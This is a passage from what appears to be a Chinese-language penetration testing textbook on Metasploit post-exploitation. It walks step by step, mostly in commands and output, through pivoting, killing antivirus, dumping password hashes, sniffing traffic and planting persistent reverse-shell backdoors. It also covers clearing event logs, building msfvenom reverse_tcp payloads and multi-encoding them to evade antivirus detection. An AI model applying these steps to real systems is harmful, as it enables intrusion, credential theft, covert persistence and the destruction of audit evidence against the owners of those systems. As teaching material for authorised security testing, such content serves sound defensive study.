                                     way. Let empty to enumerate deleted files.

   SESSION                     yes           The session to run this module on.

   TIMEOUT  3600              yes           Search timeout. If 0 the module will go 

   through the entire $MFT.




 
以上输出信息显示了recovery_files模块中可配置的选项。
 
（5）配置recovery_files下的选项。执行命令如下：
 


msf5 post(recovery_files) > set DRIVE E:

DRIVE => E

msf5 post(recovery_files) > set SESSION 1

SESSION => 1




 
（6）启动渗透攻击。执行命令如下：
 


msf5 post(recovery_files) > run

[*] System Info - OS: Windows XP (Build 2600, Service Pack 1)., Drive: E:

[*] $MFT is made up of 1 dataruns

[*] Searching deleted files in data run 1 ... 

[*] Name: 11.txt            ID: 3221253120

[*] Name: selinux.pdf    ID: 3221254144

[*] Name: Account.txt    ID: 3221253120

[*] Name: RAC.pdf        ID: 3221254144

[+] MFT entries finished

[*] Post module execution completed

msf5 post(recovery_files) >




 
以上输出的信息显示了已恢复的所有文件。接下来通过设置恢复文件类型，恢复目标系统中删除的文件。
 
（7）选择恢复后缀名为.txt的文件。执行命令如下：
 


msf5 post(recovery_files) > set FILES txt

FILES => txt




 
（8）启动恢复文件。执行命令如下：
 


msf5 post(recovery_files) > run

[*] System Info - OS: Windows XP (Build 2600, Service Pack 1)., Drive: E:

[*] $MFT is made up of 1 dataruns

[*] Searching deleted files in data run 1 ... 

[*] Name: Account.txt    ID: 3221253120

[+] Hidden file found!

[*] File to download: Account.txt

[*] The file is resident. Saving Account.txt ... 

[+] File saved on /root/.msf4/loot/20160224132259_default_192.168.6.110_

resident.file_541255.txt

[*] Name: RAC.pdf    ID: 3221254144

[+] MFT entries finished

[*] Post module execution completed




 
从输出的信息中可以看到，被删除的文件11.txt已成功恢复，并被保存在/root/.msf4/loot/20160224132259_default_192.168.6.110_resident.file_541255.txt文件中。此时用户可以打开恢复的文件，如图5.5所示。
 
接下来指定恢复删除的PDF文件selinux.pdf。执行命令如下：
 


msf5 post(recovery_files) > set FILES pdf

FILES => pdf

msf5 post(recovery_files) > run

[*] System Info - OS: Windows XP (Build 2600, Service Pack 1)., Drive: E:

[*] $MFT is made up of 1 dataruns

[*] Searching deleted files in data run 1 ... 

[*] Name: 11.txt    ID: 3221253120

[*] Name: selinux.pdf    ID: 3221254144

[+] Hidden file found!

[*] File to download: selinux.pdf

[*] The file is not resident. Saving selinux.pdf ... (281877 bytes)

[+] File saved on /root/.msf4/loot/20160224132253_default_192.168.6.110_

nonresident.file_027601.pdf

[+] MFT entries finished

[*] Post module execution completed

msf5 post(recovery_files) >




 
 
 [image: ] 


图5.5　恢复11.txt文件
 
从输出的信息中可以看到selinux.pdf文件已成功恢复，并被保存在/root/.msf4/loot/20160224132253_default_192.168.6.110_nonresident.file_027601.pdf文件中。打开该文件，内容如图5.6所示。
 
 
 [image: ] 


图5.6　恢复的PDF文件
5.1.9　通过跳板攻击其他机器
 
跳板攻击（Pivoting）是Meterpreter提供的一种攻击方法，允许从Meterpreter终端攻击网络中的其他系统。比如，攻击者成功地入侵了一台主机，它就可以任意地利用这台机器作为跳板攻击网络中的其他系统，或者访问由于路由问题而不能直接访问的内网系统。
 
例如，渗透测试者现在从互联网上实施渗透测试，通过某个漏洞（如植入木马或者端口镜像）入侵了一个系统，并在内部网络中取得了Meterpreter终端。但这个系统上没有有意义的信息，然而渗透测试者也不能直接访问其他的内网系统，这时就需要进行内网扩展。跳板攻击允许渗透测试者使用已经取得控制的Meterpreter终端来攻击内部网络中的其他主机。另外，如果是在同一个局域网中的话，渗透测试者可以利用跳板攻击方式来保护自己的身份不被暴露。例如，渗透测试者成功取得了局域网中一台主机的命令行终端（如Windows的PowerShell、Linux的Shell终端），此时渗透测试者即可在该终端上执行任何漏洞扫描或者攻击命令。
 
假设用户通过入侵已经获得了某个服务器的访问权限，接下来就是要与目标网络建立连接。这里可以使用在scripts/meterpreter/目录中的Meterpreter外部脚本来实现。
 
（1）成功获取到了Meterpreter会话。具体如下：
 


[*] Meterpreter session 1 opened (192.168.2.10:4444 -> 192.168.1.10:1051) 

at 2017-05-07 15:56:24 +0800

meterpreter >




 
从以上会话的地址中，可以看到攻击主机的地址为192.168.2.10，目标主机的地址为192.168.1.10。显然这两台主机不属于同一个网络。所以，如果要对目标主机所在网络中的其他主机进行渗透，则需要添加对应的路由条目才可以实现。
 
（2）查看目标系统上的子网。执行命令如下：
 


meterpreter > run get_local_subnets 

Local subnet: 192.168.1.0/255.255.255.0




 
从输出的信息中可以看到，目标系统所在的子网为192.168.1.0/24。
 
（3）将攻击会话放到后台运行，并且添加路由条目。其中，添加路由条目的语法格式如下：
 


route add [子网] [掩码] [会话ID]




 
添加路由条目。执行命令如下：
 


meterpreter > background                     #将会话放到后台，其会话ID为1

[*] Backgrounding session 1...

msf5 exploit(handler)> route add 192.168.1.0 255.255.255.0 1    #添加路由条目

[*] Route added




 
从输出的信息中可以看到，已经成功添加了一条路由条目。此时，用户可以使用route print命令查看添加的路由条目。具体如下：
 


msf5 exploit(handler) > route print

Active Routing Table

====================

   Subnet             Netmask         Gateway

   ------------------       --------------         ---------------

   192.168.1.0        255.255.255.0      Session 1




 
可以看到已成功添加了192.168.1.0/24的路由条目。接下来，攻击主机即可对192.168.1.0/24网络中的其他主机实施渗透。
 
[image: ]提示：在上面的例子中，是使用route add命令为Meterpreter的攻击会话添加路由。如果要更加自动化地完成这一操作，可以选择使用load auto_add_route命令。具体如下：
 


msf5 exploit(handler) > load auto_add_route

[*] Successfully loaded plugin: auto_add_route




5.1.10　使用Meterpreter脚本
 
Meterpreter的扩展脚本可以在Meterpreter终端里帮助用户进行系统查询，或完成事先定义好的任务。下面介绍几个重要脚本。其中，运行Meterpreter脚本的语法格式如下：
 


run [脚本名字]




 
[image: ]提示：Meterpreter的扩展脚本目前正在移植到后渗透攻击模块中，下面将同时覆盖到扩展脚本和后渗透攻击模块。
 
1．迁移进程
 
当用户攻击系统时，常常对诸如Internet Explorer之类的服务进行漏洞利用，如果目标主机关闭了浏览器，Meterpreter会话也将随之被关闭，从而导致与目标系统的连接丢失。为了避免这个问题，用户可以使用迁移进程的后渗透攻击模块，将Meterpreter会话迁移到内存空间中其他稳定的、不会被关闭的服务进程中，以维持稳定的系统控制连接。执行命令如下：
 


meterpreter > run post/windows/manage/migrate 

[*] Running module against BENET-C8D2KE6J5

[*] Current server process: svchost.exe (932)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 1028

[+] Successfully migrated to process 1028




 
从以上输出的信息中可以看到，当前的服务进程为svchost.exe（932），自动迁移到notepad.exe（1028）进程。用户也可以直接在Meterpreter中运行migrate命令来实现迁移进程。语法格式如下：
 


migrate [PID号]




 
2．关闭杀毒软件
 
杀毒软件可以阻止某些攻击。在渗透测试过程中，智能杀毒软件和主机入侵防御产品会阻止渗透测试者运行某些攻击。在这种情况下，渗透测试者可以运行killav扩展脚本来停止相关进程。执行命令如下：
 


meterpreter > run killav 

[*] Killing Antivirus services on the target...

[*] Killing off cmd.exe...




 
从以上输出信息中可以看到，cmd.exe进程已经停止了。
 
3．获取系统密码哈希值
 
获取系统密码哈希值的副本可以帮助渗透测试者实施哈希值传递攻击，或是进行哈希值暴力破解还原明文密码。这里可以通过run hashdump命令获得密码哈希值。具体如下：
 


meterpreter > run hashdump 

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 9848544e2c15cc873317bb3fe3

eea604...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::




 
从输出的信息中可以看到Administrator用户的密码哈希值。
 
4．查看目标机上的所有流量
 
通过运行数据包记录脚本，可以获取目标主机上的所有流量。所有被捕获的包都以.pcap的文件格式存储下来，用户可以使用Wireshark工具查看并分析。下面将以-i 1的参数运行数据包记录脚本，表示指定记录数据包的网卡。执行命令如下：
 


meterpreter > run packetrecorder -i 1

[*] Starting Packet capture on interface 1

[+] Packet capture started

[*] Packets being saved in to /root/.msf4/logs/scripts/packetrecorder/

BENET-C8D2KE6J5_20160517.5009/BENET-C8D2KE6J5_20160517.5009.cap

[*] Packet capture interval is 30 Seconds

^C

[*] Interrupt 

[+] Stopping Packet sniffer...




 
从以上输出信息中可以看到正在捕获数据包。捕获的包被保存在/root/.msf4/logs/scripts/packetrecorder/BENET-C8D2KE6J5_20160517.5009/BENET-C8D2KE6J5_20160517.5009.cap文件中。在被捕获一段时间后，使用Ctrl+C组合键可以停止捕获。此时，用户可以使用Wireshark查看捕获的包。显示效果如图5.7所示。
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图5.7　捕获到的所有流量
 
此时，用户可以通过分析包信息来猜测目标用户进行的操作。
 
5．获取系统信息
 
Scraper脚本可以列举出用户想从系统中得到的任何信息，可以获取用户名和密码、下载全部注册表、挖掘密码哈希值、收集系统信息，以及输出HKEY_CURRENT_USER（HKCU）。执行命令如下：
 


meterpreter > run scraper 

[*] New session on 192.168.1.104:445...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*]  Exporting HKCU

[*]  Downloading HKCU (C:\WINDOWS\TEMP\DFccfMeY.reg)

[*]  Cleaning HKCU

[*]  Exporting HKLM

[*]  Downloading HKLM (C:\WINDOWS\TEMP\eAyQCjGi.reg)

[*]  Cleaning HKLM

[*]  Exporting HKCC

[*]  Downloading HKCC (C:\WINDOWS\TEMP\fdVxWflU.reg)

[*]  Cleaning HKCC

[*]  Exporting HKCR

[*]  Downloading HKCR (C:\WINDOWS\TEMP\XfxdVagZ.reg)

[*]  Cleaning HKCR

[*]  Exporting HKU

[*]  Downloading HKU (C:\WINDOWS\TEMP\CbludkCj.reg)

[*]  Cleaning HKU

[*] Completed processing on 192.168.1.104:445...




 
从以上输出信息中可以看到运行Scraper脚本后下载的注册表信息。
5.1.11　创建持久后门
 
当成功获取目标系统的访问权限后，攻击者肯定不希望继续采用同样费力的方式重新获得访问权限。如果目标用户破坏了该连接（如重新启动计算机），此时使用后门可以允许自动与目标系统重新建立连接。为了后续渗透方便，创建一个后门是非常重要的。这样即使连接被中断，也不会影响工作。Metasploit自带的后门有两种启动方式，一种是通过服务启动（metsvc），一种是通过启动项启动（persistence）。下面分别介绍这两种持久后门的创建方法。
 
【实例5-6】使用persistence脚本创建持久后门。具体操作步骤如下：
 
（1）激活Meterpreter会话。执行命令如下：
 


msf5 exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >




 
（2）使用run persistence命令创建持久后门。在创建后门之前，先查看该命令的帮助文件。具体如下：
 


meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A    Automatically start a matching multi/handler to connect to the agent

    -L <opt>  Location in target host where to write payload to, if none %TEMP% 

    will be used.

    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.

    -S      Automatically start the agent on boot as a service (with SYSTEM 

    privileges)

    -T <opt>  Alternate executable template to use

    -U          Automatically start the agent when the User logs on

    -X          Automatically start the agent when the system boots

    -h          This help menu

    -i <opt>     The interval in seconds between each connection attempt

    -p <opt>     The port on the remote host where Metasploit is listening

    -r <opt>      The IP of the system running Metasploit listening for the 

    connect back




 
以上信息显示了持久后门的一些选项。用户可以使用不同的选项来设置后门。
 
（3）创建一个持久后门。执行命令如下：
 


meterpreter > run persistence -X -i 50 -p 443 -r 192.168.1.104

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/TEST-

TM1LY5UM7H_20170508.2315/TEST-TM1LY5UM7H_20170507.2315.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.104 

LPORT=443

[*] Persistent agent script is 148474 bytes long

[+] Persistent Script written to C:\WINDOWS\TEMP\ShJebMHE.vbs

[*] Executing script C:\WINDOWS\TEMP\ShJebMHE.vbs

[+] Agent executed with PID 1624

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\Current

Version\Run\khiTkrRSXmxr

[+] Installed into autorun as HKLM\Software\Microsoft\Windows\Current

Version\Run\khiTkrRSXmxr 




 
以上输出信息是创建后门的一个过程。在以上信息中可以看到，在目标系统中创建了一个持久脚本，并被保存在C：\WINDOWS\TEMP\ShJebMHE.vbs。
 
（4）使用multi/handler模块进行监听，等待目标主机反向连接到攻击主机。具体如下：
 


meterpreter > background 

[*] Backgrounding session 1...

msf5 exploit(ms08_067_netapi) > use multi/handler

msf5 exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(handler) > set LHOST 192.168.1.105

LHOST => 192.168.1.105

msf5 exploit(handler) > set LPORT 443

LPORT => 443

msf5 exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.105:443

[*] Starting the payload handler...




 
从输出的信息中可以看到，multi/handler模块已开启监听。当目标主机重新启动后，目标系统会自动运行创建的脚本，并且自动反向连接到攻击主机。成功连接后，将显示如下信息：
 


meterpreter > [*] Meterpreter session 2 opened (192.168.58.134:443 -> 

192.168.58.142:1032) at 2015-05-07 13:25:47 +0800




 
看到以上类型信息输出，则说明该持久后门创建成功。
 
【实例5-7】使用run metsv命令安装并启动Meterpreter服务来创建后门。
 
（1）在使用run metsv命令之前，首先查看下该命令的帮助信息。具体如下：
 


meterpreter > run metsvc -h

OPTIONS:

    -A        Automatically start a matching exploit/multi/handler to connect 

    to the service

    -h        This help menu

    -r        Uninstall an existing Meterpreter service (files must be deleted 

    manually)




 
从输出信息中可以看到，run metsv命令有3个选项。每个选项的作用都有对应的描述信息。
 
（2）创建后门。执行如下命令：
 


meterpreter > run metsvc -A

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory C:\WINDOWS\TEMP\lYonXLUIDMuy...

[*]  >> Uploading metsrv.x86.dll...                        #上传文件

[*]  >> Uploading metsvc-server.exe...

[*]  >> Uploading metsvc.exe...

[*] Starting the service... 

     * Installing service metsvc                            #安装服务

 * Starting service                                        #启动服务

Service metsvc successfully installed.

 [*] Trying to connect to the Meterpreter service at 192.168.1.104:31337...

meterpreter >




 
从以上输出信息中可以看到，首先向目标主机上传了3个文件，然后用metsrv.exe安装服务，并且成功启动了服务。此时，用户到目标主机上即可查看创建的Meterpreter服务。下面以Windows XP为例，介绍查看服务的方法。
 
【实例5-8】查看在目标主机上创建的Meterpreter服务。具体方法如下：
 
（1）在桌面上右击“我的电脑”，弹出如图5.8所示的快捷菜单。
 
（2）选择“管理”命令，打开计算机管理界面，如图5.9所示。
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图5.8　快捷菜单
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图5.9　“计算机管理”窗口
 
（3）在该界面的左侧区域，依次打开“服务和应用程序”|“服务”项，即可查看到安装的Meterpreter服务，如图5.10所示。
 
（4）从图5.10中可以看到，已成功创建了Meterpreter服务，并且该服务已启动。接下来，使用exploit/multi/handler模块和名为windows/metsvc_bind_tcp的Payload创建监听。具体如下：
 


msf5 > use exploit/multi/handler

msf5 exploit(handler) > set payload windows/metsvc_bind_tcp 

payload => windows/metsvc_bind_tcp

msf5 exploit(handler) > set RHOST 192.168.1.104

RHOST => 192.168.1.104

msf5 exploit(handler) > set LPORT 31337

LPORT => 31337

msf5 exploit(handler) > exploit 

[*] Started bind handler

[*] Starting the payload handler...
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图5.10　创建的Meterpreter服务
 
此时，监听已经创建好了。当目标主机重新启动后，便会自动连接到该监听，并建立一个Meterpreter会话。
5.1.12　将命令行Shell升级为Meterpreter
 
Metasploit框架的一个新功能是可以在系统被攻陷的时候使用sessions-u命令将命令行Shell升级为Meterpreter。如果用户开始时使用命令行Shell进入某系统，后来发现这台主机是进一步攻击整个网络的完美跳板，这时将控制会话升级为Meterpreter就会显得非常有用。下面演示将命令行Shell升级为Meterpreter的方法。
 
【实例5-9】以Metasploitable 2系统为目标，利用该主机中的Samba服务漏洞入侵该主机，并且获取到命令行Shell。然后，再将该Shell升级为Meterpreter。具体操作步骤如下：
 
（1）使用multi/samba/usermap_script模块对目标主机的Samba服务实施渗透。执行命令如下：
 


msf5 > use exploit/multi/samba/usermap_script 

msf5 exploit(usermap_script) >




 
（2）查看并配置multi/samba/usermap_script模块的选项参数。执行命令如下：
 


msf5 exploit(usermap_script) > show options             #查看模块的选项参数

Module options (exploit/multi/samba/usermap_script):

   Name        Current Setting    Required    Description

   -----       ---------------    --------    --------------

   RHOSTS                       yes             The target address range or CIDR identifier

   RPORT       139                   yes             The target port (TCP)

Exploit target:

   Id  Name

   --  ----

   0   Automatic

msf5 exploit(usermap_script) > set RHOST 192.168.1.106        #指定攻击主机

RHOST => 192.168.1.106




 
该模块有两个可配置选项参数。其中，RPORT已配置，所以在以上过程中配置了RHOST参数。
 
（3）使用exploit-z实施渗透攻击。该命令会将成功攻击目标后获取到的会话放在后台运行，暂时不使用控制会话进行交互。具体如下：
 


msf5 exploit(usermap_script) > exploit -z

[*] Started reverse TCP double handler on 192.168.1.105:4444 

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo N2Q6aPNKvknqaRyd;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Accepted the first client connection...

[*] Reading from socket B

[*] B: "N2Q6aPNKvknqaRyd\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.106:

46304) at 2017-05-07 17:40:24 +0800

[*] Session 1 created in the background.

msf5 exploit(usermap_script) >




 
从以上输出信息中可以看到，已成功打开了一个命令行Shell会话1，并且该会话已被放在后台运行。
 
（4）使用sessions-u命令将命令行Shell会话1升级为Meterpreter。具体如下：
 


msf5 exploit(usermap_script) > sessions -u 1

[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1

[*] Starting exploit/multi/handler

[*] Started reverse TCP handler on 192.168.1.105:4433 

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)

[*] Sending stage (1495599 bytes) to 192.168.1.106

[*] Command stager progress: 100.00% (668/668 bytes)

msf5 exploit(usermap_script) > [*] Meterpreter session 2 opened 

(192.168.1.105:4433 -> 192.168.1.106:44855) at 2017-05-07 17:40:48 +0800




 
从输出的信息中可以看到，在成功升级后，打开了一个Meterpreter会话2。为了确认已成功将命令行Shell会话升级，可以使用sessions命令查看所有的会话。具体如下：
 


msf5 exploit(usermap_script) > sessions 

Active sessions

===============

  Id  Type           Information     Connection

  --  -------    ------------    -----------

  1      shell         unix             192.168.1.105:4444 -> 192.168.1.106:46304 

                                   (192.168.1.106)

  2   meterpreter x86/linux      uid=0, gid=0, euid=0, egid=0, suid=0, 

                                  sgid=0 @ metasploitable  

                                  192.168.1.105:4433 -> 192.168.1.106:44855 

                                     (192.168.1.106)




 
从以上输出信息中可以看到有两个会话。从Type（类型）列中可以看到会话1为shell unix，会话2为Meterpreter。
 
（5）此时即可切换到Meterpreter会话，对目标主机实施进一步攻击。执行命令如下：
 


msf5 exploit(usermap_script) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >




 
以上信息表明已成功激活了Meterpreter会话。
5.1.13　清除踪迹
 
当攻击者入侵目标系统后，做的任何操作都可能被记录到目标系统的日志文件中。为了不被目标系统所发现，清除踪迹是非常重要的工作。因为一旦被发现，可能会带来很大的麻烦。现在用户不用担心这个问题了，因为Metasploit提供了一种方法可以很容易地清除所有踪迹。下面介绍使用Metasploit清除踪迹的方法。
 
【实例5-10】使用Metasploit清除踪迹。具体操作步骤如下：
 
（1）激活Meterpreter会话。执行命令如下：
 


msf5 exploit(handler) > sessions -i 1

[*] Starting interaction with 1...




 
（2）Metasploit中的irb命令可以清除踪迹。执行命令如下：
 


meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

>>




 
在输出的信息中看到>>提示符，表示成功运行了irb命令。
 
（3）设置想要删除的日志。常用的日志选项如下：
 
·log=client.sys.eventlog.open（'system'）

·log=client.sys.eventlog.open（'security'）

·log=client.sys.eventlog.open（'application'）

·log=client.sys.eventlog.open（'directory service'）

·log=client.sys.eventlog.open（'dns server'）

·log=client.sys.eventlog.open（'file replication service'）
 
这里清除所有日志。用户需要一次输入下面所有的日志，具体如下：
 


>> log = client.sys.eventlog.open('system')

=>#<#<Class:0x00000005b3e868>:0x00000005dd7818 @client=#<Session:

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1546416>

>> log = client.sys.eventlog.open('security')

=>#<#<Class:0x00000005b3e868>:0x00000005c097c0 @client=#<Session:

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1545640>

>> log=client.sys.eventlog.open('application')

=>#<#<Class:0x00000005b3e868>:0x00000005c59130 @client=#<Session: 

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1546696>

>> log=client.sys.eventlog.open('directory service')

=>#<#<Class:0x00000005b3e868>:0x00000005c88318 @client=#<Session: 

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1547032>

>> log=client.sys.eventlog.open('dns server')

=>#<#<Class:0x00000005b3e868>:0x00000005ca3988 @client=#<Session:

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1547320>

>> log=client.sys.eventlog.open('file replication server')

=>#<#<Class:0x00000005b3e868>:0x00000005cbf8b8 @client=#<Session:

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1547720>

>> log.clear

=>#<#<Class:0x00000005b3e868>:0x00000005cbf8b8 @client=#<Session:

meterpreter 192.168.41.146:2484 (192.168.41.146) "AA-886OKJM26FSW\Test @ 

AA-886OKJM26FSW">, @handle=1547720>




 
执行以上命令后，表示指定了要清除的日志。接下来执行log.clear命令，以清除日志文件。具体如下：
 


>> log.clear




 
执行以上命令后，将会清除入侵的踪迹。此外，还可以使用Meterpreter的clearev命令来清除日志。具体如下：
 


meterpreter > clearev 

[*] Wiping 53 records from Application...

[*] Wiping 386 records from System...

[*] Wiping 1 records from Security...




 
从输出的信息中可以看到已清除每种日志的记录数。本例中清除的应用程序日志有53个记录、系统日志有386个记录、安全日志有1个。
 
为了确认目标系统中的日志是否已被清除，可以查看目标主机的系统日志。具体操作步骤如下：
 
（1）右击“我的电脑”在弹出的快捷菜单中选择“管理”命令，打开“计算机管理”窗口，如图5.11所示。
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图5.11　“计算机管理”窗口
 
（2）在其中选择“事件查看器”，将看到所有日志信息，包括有应用程序日志、安全性日志及系统日志等，如图5.12所示。
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图5.12　各种类型的日志
 
（3）用户可以选择任意一项，查看其日志信息。图5.12中查看的是应用程序日志，从右侧区域中可以看到没有任何信息，表示日志信息清除成功。
5.2　使用MSF攻击载荷生成器
 
MSF攻击载荷生成器允许用户能够生成Shellcode、可执行代码和其他更多的信息，也可以让它们在框架软件之外的渗透代码中进行使用。Shellcode可以生成包括C、JavaScript，甚至Web应用程序中Visual Basic脚本在内的多种格式，每种输出格式可以在不同的场景中使用。在Metasploit中，可以使用Msfvenom工具生成木马程序，并执行和监听控制。本节将介绍使用Msfvenom创建攻击载荷的方法。
 
[image: ]提示：在Kali Linux 2.0之前的版本中，用于准备攻击载荷的工具是Msfpayload。但是，在Kali Linux 2.0之后的版本中，Msfpayload和Msfencode工具都被Msfvenom代替了。
 
Msfvenom工具的语法格式如下：
 


msfvenom [选项]




 
常用的选项及含义如下：
 
·-p|--payload<payload名称>：指定使用的payload攻击载荷。

·--payload-options：列出Payload的标准选项。

·-l|--list<模块类型>：列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all。

·-n|--nopsled<长度>：指定生成的攻击载荷长度。

·-f|--format<格式>：指定生成的攻击载荷格式。

·-e|--encoder<编码器>：使用的编码方式。

·-a|--arch<架构>：使用的架构。

·--platform<平台>：使用的平台。

·-s|--space<长度>：生成攻击载荷的最大尺寸。

·-b|--bad-chars<字符列表>：指定需要规避的字符列表，如'\x00\xff'。

·-i|--iterations<次数>：指定进行编码的次数。

·-c|--add-code<路径>：指定一个额外的win32 shellcode文件。

·-x|--template<路径>：指定一个自定义的可执行文件作为模板使用。

·-k|--keep：配置攻击载荷在一个独立的线程中启动。

·-o|--out：保存攻击载荷。

·-v|--var-name<名称>：指定用于某些输出格式的自定义变量名称。

·--smallest：尽可能生成最小的攻击载荷。
 
【实例5-11】生成一个用于攻击Windows 7 sp1的Meterpreter攻击载荷，并利用shikata_ga_nai编码方式。具体操作步骤如下：
 
（1）创建攻击载荷。执行命令如下：
 


root@Kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_

ga_nai -i 5 -b '\x00' LHOST=192.168.1.105 LPORT=443 -f exe > payload.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the 

payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes




 
以上输出信息显示了生成攻击载荷的过程。从输出的信息中可以看到，已生成了一个大小为468字节的攻击载荷。
 
（2）将生成的攻击载荷payload.exe放到目标主机Windows 7下执行。用户可以手动将该文件移动到目标主机下执行，或者使用Meterpreter中的upload命令将该攻击载荷文件上传到目标主机上。执行命令如下：
 


meterpreter > upload backdoor.exe

[*] uploading  : backdoor.exe -> payload.exe

[*] uploaded   : backdoor.exe -> payload.exe




 
（3）在MSF终端启动监听。具体如下：
 


msf5 > use exploit/multi/handler                 #选择用于反向连接的监听模块

msf5 exploit(handler) > set payload windows/meterpreter/reverse_tcp                                                        #选择攻击载荷

payload => windows/meterpreter/reverse_tcp

msf5 exploit(handler) > show options             #查看攻击载荷的配置选项

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description

   ----  -------  ------  --------  

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required    Description

   ------   ---------------     ---------    --------------------------------

   EXITFUNC  process          yes           Exit technique (Accepted: '', seh, 

   thread, process, none)

   LHOST                         yes          The listen address

   LPORT     4444               yes          The listen port

Exploit target:

   Id  Name

   --  ---------------------

   0   Wildcard Target




 
配置LHOST和LPROT选项，注意应与创建的攻击载荷值一致。具体如下：
 


msf5 exploit(handler) > set LHOST 192.168.1.105

LHOST => 192.168.1.105

msf5 exploit(handler) > set LPORT 443

LPORT => 443

msf5 exploit(handler) > exploit                             #开启监听

[*] Started reverse TCP handler on 192.168.1.105:443 

[*] Starting the payload handler...




 
通过以上的操作，本地监听就配置好了。接下来，在目标主机上执行payload.exe攻击载荷。当攻击载荷成功执行后，将会与攻击主机建立一个Meterpreter会话连接。具体如下：
 


[*] Sending stage (957999 bytes) to 192.168.1.102

[*] Meterpreter session 1 opened (192.168.1.105:443 -> 192.168.1.102:49914) 

at 2017-05-07 19:41:27 +0800

meterpreter >




 
从以上输出信息中可以看到，已成功获取到一个Meterpreter会话。此时，可对该目标主机实施各种攻击。例如，查看目标主机信息。具体如下：
 


meterpreter > sysinfo 

Computer                : WIN-RKPKQFBLG6C

OS                      : Windows 7 (Build 7601, Service Pack 1).

Architecture          : x86

System Language         : zh_CN

Domain                  : WORKGROUP

Logged On Users         : 4

Meterpreter              : x86/win32




 
从输出的信息中可以看到目标主机Windows 7的相关系统信息。
5.3　免杀技术
 
在进行渗透测试时，最尴尬的事莫过于被杀毒软件给检测出来，这也是一个很容易被忽视的细节。如果没有事先做好计划进行免杀处理，那么很可能会被目标发现被攻击的蛛丝马迹。本节介绍一些可以实现免杀技术的方法。
5.3.1　多重编码
 
多重编码就是对可执行文件进行多次编码。大多数杀毒软件使用特征码来识别恶意代码。这些特征码装载在杀毒引擎中，用来对磁盘和进程进行扫描，并寻找匹配对象。发现匹配对象后，杀毒软件会有相应的处理流程，大多数会将感染病毒的二进制文件隔离，或杀掉正在运行的进程。通过多重编码对二进制文件内部机制进行修改，可以绕过杀毒软件的特征码检查。在前面例子中使用的shikata_ga_nai编码是多态的，也就是说，每次生成的攻击载荷文件都不一样。所以生成的攻击载荷文件有时候会被查杀，而有时候却不会被查杀。
 
通过使用msfvenom命令的-i选项即可实现多重编码。下面对攻击载荷进行多次编码。执行命令如下：
 


root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_

ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -f raw | msfvenom -a 

x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform 

win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e 

x86/countdown -i 5 -f exe -o /root/payload.exe

Attempting to read payload from STDIN...

Attempting to read payload from STDIN...

Attempting to read payload from STDIN...

No platform was selected, choosing Msf::Module::Platform::Windows from the 

payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with final size 468

Payload size: 468 bytes

Found 1 compatible encoders

Attempting to encode payload with 2 iterations of x86/alpha_upper

x86/alpha_upper succeeded with size 1003 (iteration=0)

x86/alpha_upper succeeded with size 2075 (iteration=1)

